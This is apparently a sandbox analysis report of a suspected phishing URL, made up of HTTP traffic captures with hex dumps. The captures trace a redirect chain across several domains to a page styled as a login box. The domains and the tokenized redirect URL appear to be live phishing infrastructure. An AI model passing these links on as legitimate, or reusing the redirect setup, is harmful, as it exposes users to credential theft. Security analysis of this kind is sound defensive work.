2025-03-24 17:18:13 UTC	155	IN	Data Raw: 39 35 0d 0a 7b 22 73 65 63 75 72 65 5f 75 72 6c 22 3a 22 68 74 74 70 3a 2f 2f 70 61 74 6e 65 72 6f 2e 74 68 65 73 69 6c 65 6e 74 2e 64 65 2f 61 70 69 2f 72 65 64 69 72 65 63 74 3f 65 78 70 69 72 65 73 3d 31 37 34 32 38 33 36 37 30 33 37 39 36 26 68 61 73 68 3d 34 36 39 64 62 37 62 30 66 36 30 39 65 62 38 38 62 30 33 64 38 37 63 61 62 37 63 32 62 37 61 31 66 61 65 65 62 35 31 65 32 61 65 65 37 65 31 32 39 36 65 61 38 38 62 38 61 61 31 33 39 64 61 35 22 7d 0d 0a Data Ascii: 95{"secure_url":"http://patnero.thesilent.de/api/redirect?expires=1742836703796&hash=469db7b0f609eb88b03d87cab7c2b7a1faeeb51e2aee7e1296ea88b8aa139da5"}
2025-03-24 17:18:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-24 17:18:14 UTC	399	OUT	GET /api/get_doc_url HTTP/1.1 Host: patnero.thesilent.de Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 17:18:14 UTC	582	IN	HTTP/1.1 404 Not Found Date: Mon, 24 Mar 2025 17:18:14 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close access-control-allow-headers: Content-Type, Authorization access-control-allow-methods: GET, POST, OPTIONS access-control-allow-origin: * content-security-policy: default-src 'none' rndr-id: db540d47-3811-4ea5 vary: Accept-Encoding x-content-type-options: nosniff x-powered-by: Express x-render-origin-server: Render cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 9257d39d5aeff834-EWR alt-svc: h3=":443"; ma=86400
2025-03-24 17:18:14 UTC	160	IN	Data Raw: 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 70 72 65 3e 43 61 6e 6e 6f 74 20 47 45 54 20 2f 61 70 69 2f 67 65 74 5f 64 6f 63 5f 75 72 6c 3c 2f 70 72 65 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: 9a<!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><title>Error</title></head><body><pre>Cannot GET /api/get_doc_url</pre></body></html>
2025-03-24 17:18:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-24 17:18:14 UTC	760	OUT	GET /api/redirect?expires=1742836703796&hash=469db7b0f609eb88b03d87cab7c2b7a1faeeb51e2aee7e1296ea88b8aa139da5 HTTP/1.1 Host: patnero.thesilent.de Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 17:18:15 UTC	553	IN	HTTP/1.1 302 Found Date: Mon, 24 Mar 2025 17:18:14 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close access-control-allow-headers: Content-Type, Authorization access-control-allow-methods: GET, POST, OPTIONS access-control-allow-origin: * location: https://classntfst.shop/ne/ rndr-id: 69ec50c2-b553-4a6b vary: Accept vary: Accept-Encoding x-powered-by: Express x-render-origin-server: Render cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 9257d39e0e77ed71-EWR alt-svc: h3=":443"; ma=86400
2025-03-24 17:18:15 UTC	62	IN	Data Raw: 33 38 0d 0a 3c 70 3e 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 63 6c 61 73 73 6e 74 66 73 74 2e 73 68 6f 70 2f 6e 65 2f 3c 2f 70 3e 0d 0a Data Ascii: 38<p>Found. Redirecting to https://classntfst.shop/ne/</p>
2025-03-24 17:18:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-24 17:18:15 UTC	654	OUT	GET /ne/ HTTP/1.1 Host: classntfst.shop Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 17:18:15 UTC	832	IN	HTTP/1.1 302 Found Date: Mon, 24 Mar 2025 17:18:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Location: https://oka.greenthreads.hr cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5ZqHOwrjJqf2cjT%2FzkHsLex1kUBlrUjVDoWO4aCsrs4Jl416sipnGAshHUaomB%2B3KyjB3WfQl2h8AHMUWM8Rdv8zmkJ66e1RlhXAJqpCDwz8YRb3FkGsDOmThbzqNUDqe4k%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9257d3a35b1c41fb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=104792&min_rtt=104224&rtt_var=22841&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2837&recv_bytes=1226&delivery_rate=35164&cwnd=203&unsent_bytes=0&cid=9eca25c2b4c19dd5&ts=437&x=0"
2025-03-24 17:18:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-24 17:18:17 UTC	760	OUT	GET /api/redirect?expires=1742836703796&hash=469db7b0f609eb88b03d87cab7c2b7a1faeeb51e2aee7e1296ea88b8aa139da5 HTTP/1.1 Host: patnero.thesilent.de Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 17:18:17 UTC	553	IN	HTTP/1.1 302 Found Date: Mon, 24 Mar 2025 17:18:17 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close access-control-allow-headers: Content-Type, Authorization access-control-allow-methods: GET, POST, OPTIONS access-control-allow-origin: * location: https://classntfst.shop/ne/ rndr-id: 52338bf4-be89-4108 vary: Accept vary: Accept-Encoding x-powered-by: Express x-render-origin-server: Render cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 9257d3afad51847d-EWR alt-svc: h3=":443"; ma=86400
2025-03-24 17:18:17 UTC	62	IN	Data Raw: 33 38 0d 0a 3c 70 3e 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 63 6c 61 73 73 6e 74 66 73 74 2e 73 68 6f 70 2f 6e 65 2f 3c 2f 70 3e 0d 0a Data Ascii: 38<p>Found. Redirecting to https://classntfst.shop/ne/</p>
2025-03-24 17:18:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-24 17:18:18 UTC	654	OUT	GET /ne/ HTTP/1.1 Host: classntfst.shop Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 17:18:18 UTC	840	IN	HTTP/1.1 302 Found Date: Mon, 24 Mar 2025 17:18:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Location: https://oka.greenthreads.hr cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IwI3hYQTU%2FP8q%2Firv1d8MxylguReDaPAl%2B%2FBmJYxSdUbFwRsELnyFXOCNb3sLN0d1oXov1nAcnyFX%2FIdmgtRaS6cZJ5ZvhSSzdxY3Ur9eg6pPSRnsQWyyF%2FDMar1q0T7pV8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9257d3b46bc2f788-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=105676&min_rtt=105606&rtt_var=22343&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2837&recv_bytes=1226&delivery_rate=35277&cwnd=252&unsent_bytes=0&cid=c2b6557117feb1b7&ts=423&x=0"
2025-03-24 17:18:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://nrro.ogquwu.top/

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 56

Chrome Cache Entry: 57

Chrome Cache Entry: 58

Chrome Cache Entry: 59

Chrome Cache Entry: 60

Chrome Cache Entry: 61

Chrome Cache Entry: 62

Chrome Cache Entry: 63

Chrome Cache Entry: 64

Chrome Cache Entry: 65

Chrome Cache Entry: 66

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Windows Analysis Report
https://nrro.ogquwu.top/

Timestamp	Bytes transferred	Direction	Data
2025-03-24 17:18:18 UTC	655	OUT	GET / HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 17:18:19 UTC	525	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 14339 Cache-Control: public, max-age=0, must-revalidate Content-Disposition: inline Content-Length: 2575 Content-Type: text/html; charset=utf-8 Date: Mon, 24 Mar 2025 17:18:19 GMT Etag: "fb717db28b1ebe8633cafddb9f6a3998" Last-Modified: Mon, 24 Mar 2025 13:19:19 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: / X-Vercel-Cache: HIT X-Vercel-Id: iad1::2mvvp-1742836698929-56e9ec1e355e Connection: close
2025-03-24 17:18:19 UTC	2372	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 53 65 74 3d 22 75 74 66 2d 38 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 61 73 3d 22 73 74 79 6c 65 22 20 68 72 65 66 3d 22 2f 5f 6e 65 78 74 2f 73 74 61 74 69 63 2f 63 73 73 2f 31 39 64 30 39 61 36 31 31 33 61 66 61 30 30 37 2e 63 73 73 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 61 73 3d 22 73 63 72 69 70 74 22 20 68 72 65 66 3d 22 2f 5f 6e 65 78 74 2f 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 77 65 62 70 61 63 6b 2d 65 65 37 65 36 33 62 63 31 35 62 33 31 39 31 33 2e 6a 73 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 61 73 3d 22 73 63 72 69 70 74 22 20 68 72 65 66 3d 22 Data Ascii: <!DOCTYPE html><html><head><meta charSet="utf-8"/><link rel="preload" as="style" href="/_next/static/css/19d09a6113afa007.css"/><link rel="preload" as="script" href="/_next/static/chunks/webpack-ee7e63bc15b31913.js"/><link rel="preload" as="script" href="
2025-03-24 17:18:19 UTC	203	IN	Data Raw: 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 3e 7b 22 70 72 6f 70 73 22 3a 7b 22 70 61 67 65 50 72 6f 70 73 22 3a 7b 7d 7d 2c 22 70 61 67 65 22 3a 22 2f 22 2c 22 71 75 65 72 79 22 3a 7b 7d 2c 22 62 75 69 6c 64 49 64 22 3a 22 6e 4a 59 39 72 43 44 50 31 53 6c 43 45 39 4d 42 33 38 47 67 6d 22 2c 22 6e 65 78 74 45 78 70 6f 72 74 22 3a 74 72 75 65 2c 22 61 75 74 6f 45 78 70 6f 72 74 22 3a 74 72 75 65 2c 22 69 73 46 61 6c 6c 62 61 63 6b 22 3a 66 61 6c 73 65 2c 22 73 63 72 69 70 74 4c 6f 61 64 65 72 22 3a 5b 5d 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: type="application/json">{"props":{"pageProps":{}},"page":"/","query":{},"buildId":"nJY9rCDP1SlCE9MB38Ggm","nextExport":true,"autoExport":true,"isFallback":false,"scriptLoader":[]}</script></body></html>

Timestamp	Bytes transferred	Direction	Data
2025-03-24 17:18:19 UTC	581	OUT	GET /_next/static/css/19d09a6113afa007.css HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 17:18:19 UTC	593	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 14339 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="19d09a6113afa007.css" Content-Length: 1515 Content-Type: text/css; charset=utf-8 Date: Mon, 24 Mar 2025 17:18:19 GMT Etag: "358df2f88c6cb7b259f7dfa5095500d5" Last-Modified: Mon, 24 Mar 2025 13:19:19 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/css/19d09a6113afa007.css X-Vercel-Cache: HIT X-Vercel-Id: iad1::sqf2x-1742836699710-6a777173407d Connection: close
2025-03-24 17:18:19 UTC	1515	IN	Data Raw: 2e 49 6e 64 65 78 5f 6c 6f 67 69 6e 43 6f 6e 74 61 69 6e 65 72 5f 5f 35 6a 50 35 30 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 68 65 69 67 68 74 3a 31 30 30 76 68 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 62 61 63 6b 67 72 6f 75 6e 64 2e 6a 70 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 35 30 25 20 66 69 78 65 64 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 76 65 72 3b 63 6f 6c 6f 72 3a 23 33 33 33 7d 2e 49 6e 64 65 78 5f 6c 6f 67 69 6e 42 6f 78 5f 5f 54 6a 67 44 43 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 68 73 6c 61 28 30 2c 30 25 2c 31 30 30 25 2c 2e 39 29 3b 62 6f Data Ascii: .Index_loginContainer__5jP50{text-align:center;height:100vh;display:flex;justify-content:center;align-items:center;background:url(/background.jpg) no-repeat 50% fixed;background-size:cover;color:#333}.Index_loginBox__TjgDC{background:hsla(0,0%,100%,.9);bo

Timestamp	Bytes transferred	Direction	Data
2025-03-24 17:18:19 UTC	577	OUT	GET /_next/static/chunks/webpack-ee7e63bc15b31913.js HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 17:18:19 UTC	624	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 14596 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="webpack-ee7e63bc15b31913.js" Content-Length: 1999 Content-Type: application/javascript; charset=utf-8 Date: Mon, 24 Mar 2025 17:18:19 GMT Etag: "5f1b87325464f8768a09054d9e5b1616" Last-Modified: Mon, 24 Mar 2025 13:15:03 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/chunks/webpack-ee7e63bc15b31913.js X-Vercel-Cache: HIT X-Vercel-Id: iad1::t7c9f-1742836699711-aeef2e07db4d Connection: close
2025-03-24 17:18:19 UTC	1999	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 2c 6e 2c 72 2c 74 2c 6f 3d 7b 7d 2c 75 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 69 28 65 29 7b 76 61 72 20 6e 3d 75 5b 65 5d 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 6e 29 72 65 74 75 72 6e 20 6e 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 75 5b 65 5d 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 7d 2c 74 3d 21 30 3b 74 72 79 7b 6f 5b 65 5d 28 72 2c 72 2e 65 78 70 6f 72 74 73 2c 69 29 2c 74 3d 21 31 7d 66 69 6e 61 6c 6c 79 7b 74 26 26 64 65 6c 65 74 65 20 75 5b 65 5d 7d 72 65 74 75 72 6e 20 72 2e 65 78 70 6f 72 74 73 7d 69 2e 6d 3d 6f 2c 65 3d 5b 5d 2c 69 2e 4f 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 72 2c 74 2c 6f 29 7b 69 66 28 72 29 7b 6f 3d 6f 7c 7c 30 3b 66 6f 72 28 76 61 72 20 Data Ascii: !function(){"use strict";var e,n,r,t,o={},u={};function i(e){var n=u[e];if(void 0!==n)return n.exports;var r=u[e]={exports:{}},t=!0;try{o[e](r,r.exports,i),t=!1}finally{t&&delete u[e]}return r.exports}i.m=o,e=[],i.O=function(n,r,t,o){if(r){o=o\|\|0;for(var

Timestamp	Bytes transferred	Direction	Data
2025-03-24 17:18:19 UTC	579	OUT	GET /_next/static/chunks/framework-2c79e2a64abdb08b.js HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 17:18:19 UTC	630	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 14340 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="framework-2c79e2a64abdb08b.js" Content-Length: 141052 Content-Type: application/javascript; charset=utf-8 Date: Mon, 24 Mar 2025 17:18:19 GMT Etag: "7fc4bed6b4319c62343f0bf5db91a5bb" Last-Modified: Mon, 24 Mar 2025 13:19:19 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/chunks/framework-2c79e2a64abdb08b.js X-Vercel-Cache: HIT X-Vercel-Id: iad1::rx9j4-1742836699710-7cf7ea88f36e Connection: close
2025-03-24 17:18:19 UTC	2372	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 37 37 34 5d 2c 7b 34 34 34 38 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 2f 2a 2a 0a 20 2a 20 40 6c 69 63 65 6e 73 65 20 52 65 61 63 74 0a 20 2a 20 72 65 61 63 74 2d 64 6f 6d 2e 70 72 6f 64 75 63 74 69 6f 6e 2e 6d 69 6e 2e 6a 73 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 46 61 63 65 62 6f 6f 6b 2c 20 49 6e 63 2e 20 61 6e 64 20 69 74 73 20 61 66 66 69 6c 69 61 74 65 73 2e 0a 20 2a 0a 20 2a 20 54 68 69 73 20 73 6f 75 72 63 65 20 63 6f 64 65 20 69 73 20 6c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c Data Ascii: "use strict";(self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[774],{4448:function(e,n,t){/** * @license React * react-dom.production.min.js * * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT l
2025-03-24 17:18:19 UTC	925	IN	Data Raw: 69 74 65 6d 53 63 6f 70 65 22 2e 73 70 6c 69 74 28 22 20 22 29 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 53 5b 65 5d 3d 6e 65 77 20 77 28 65 2c 33 2c 21 31 2c 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 6e 75 6c 6c 2c 21 31 2c 21 31 29 7d 29 2c 5b 22 63 68 65 63 6b 65 64 22 2c 22 6d 75 6c 74 69 70 6c 65 22 2c 22 6d 75 74 65 64 22 2c 22 73 65 6c 65 63 74 65 64 22 5d 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 53 5b 65 5d 3d 6e 65 77 20 77 28 65 2c 33 2c 21 30 2c 65 2c 6e 75 6c 6c 2c 21 31 2c 21 31 29 7d 29 2c 5b 22 63 61 70 74 75 72 65 22 2c 22 64 6f 77 6e 6c 6f 61 64 22 5d 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 53 5b 65 5d 3d 6e 65 77 20 77 28 65 2c 34 2c 21 31 2c 65 2c 6e 75 6c 6c 2c 21 Data Ascii: itemScope".split(" ").forEach(function(e){S[e]=new w(e,3,!1,e.toLowerCase(),null,!1,!1)}),["checked","multiple","muted","selected"].forEach(function(e){S[e]=new w(e,3,!0,e,null,!1,!1)}),["capture","download"].forEach(function(e){S[e]=new w(e,4,!1,e,null,!
2025-03-24 17:18:19 UTC	4744	IN	Data Raw: 6e 2c 74 2c 72 29 29 72 65 74 75 72 6e 21 30 3b 69 66 28 72 29 72 65 74 75 72 6e 21 31 3b 69 66 28 6e 75 6c 6c 21 3d 3d 74 29 73 77 69 74 63 68 28 74 2e 74 79 70 65 29 7b 63 61 73 65 20 33 3a 72 65 74 75 72 6e 21 6e 3b 63 61 73 65 20 34 3a 72 65 74 75 72 6e 21 31 3d 3d 3d 6e 3b 63 61 73 65 20 35 3a 72 65 74 75 72 6e 20 69 73 4e 61 4e 28 6e 29 3b 63 61 73 65 20 36 3a 72 65 74 75 72 6e 20 69 73 4e 61 4e 28 6e 29 7c 7c 31 3e 6e 7d 72 65 74 75 72 6e 21 31 7d 28 6e 2c 74 2c 61 2c 72 29 26 26 28 74 3d 6e 75 6c 6c 29 2c 72 7c 7c 6e 75 6c 6c 3d 3d 3d 61 3f 28 6c 3d 6e 2c 28 21 21 76 2e 63 61 6c 6c 28 6b 2c 6c 29 7c 7c 21 76 2e 63 61 6c 6c 28 62 2c 6c 29 26 26 28 79 2e 74 65 73 74 28 6c 29 3f 6b 5b 6c 5d 3d 21 30 3a 28 62 5b 6c 5d 3d 21 30 2c 21 31 29 29 29 26 26 Data Ascii: n,t,r))return!0;if(r)return!1;if(null!==t)switch(t.type){case 3:return!n;case 4:return!1===n;case 5:return isNaN(n);case 6:return isNaN(n)\|\|1>n}return!1}(n,t,a,r)&&(t=null),r\|\|null===a?(l=n,(!!v.call(k,l)\|\|!v.call(b,l)&&(y.test(l)?k[l]=!0:(b[l]=!0,!1)))&&
